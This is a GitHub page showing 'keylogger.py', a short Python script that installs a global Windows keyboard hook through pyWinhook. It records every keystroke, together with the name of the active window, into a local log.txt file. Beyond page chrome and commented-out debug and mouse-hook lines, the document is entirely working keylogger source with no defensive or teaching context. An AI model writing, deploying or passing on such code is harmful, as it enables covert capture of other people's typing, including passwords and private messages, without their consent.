-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathkeylogger.py
73 lines (65 loc) · 2.04 KB
/
keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import pythoncom
import pyWinhook as ph
class keylogger:
def __init__(self):
self.st = ""
try:
self.f = open('log.txt', 'a')
self.f.close()
except:
self.f = open('log.txt', 'w')
self.f.close()
# def OnMouseEvent(self, event):
# print('MessageName:', event.MessageName)
# print('Message:', event.Message)
# print('Time:', event.Time)
# print('Window:', event.Window)
# print('WindowName:', event.WindowName)
# print('Position:', event.Position)
# print('Wheel:', event.Wheel)
# print('Injected:', event.Injected)
# print('---')
# return True
def OnKeyboardEvent(self, event):
#print('MessageName:', event.MessageName)
#print('Message:', event.Message)
#print('Time:', event.Time)
#print('Window:', event.Window)
#print('WindowName:', event.WindowName)
#print('Ascii:', event.Ascii, chr(event.Ascii))
#print('Key:', event.Key)
#print('KeyID:', event.KeyID)
#print('ScanCode:', event.ScanCode)
#print('Extended:', event.Extended)
#print('Injected:', event.Injected)
#print('Alt', event.Alt)
#print('Transition', event.Transition)
#print('---')
self.st += '\n\n'
self.st += '========'
self.st += '\n'
self.st+='WindowName:' + str(event.WindowName)
self.st += '\n'
self.st+='Key: ' + str(chr(event.Ascii))
self.st += '\n'
self.st += '========'
self.st += '\n\n'
if len(self.st) > 100:
f = open('log.txt', 'a')
f.write(self.st)
f.close()
self.st = ""
return True
keylogger = keylogger()
# create a hook manager
hm = ph.HookManager()
# watch for all mouse events
# hm.MouseAll = keylogger.OnMouseEvent
# set the hook
# hm.HookMouse()
# watch for all keyboard events
hm.KeyDown = keylogger.OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()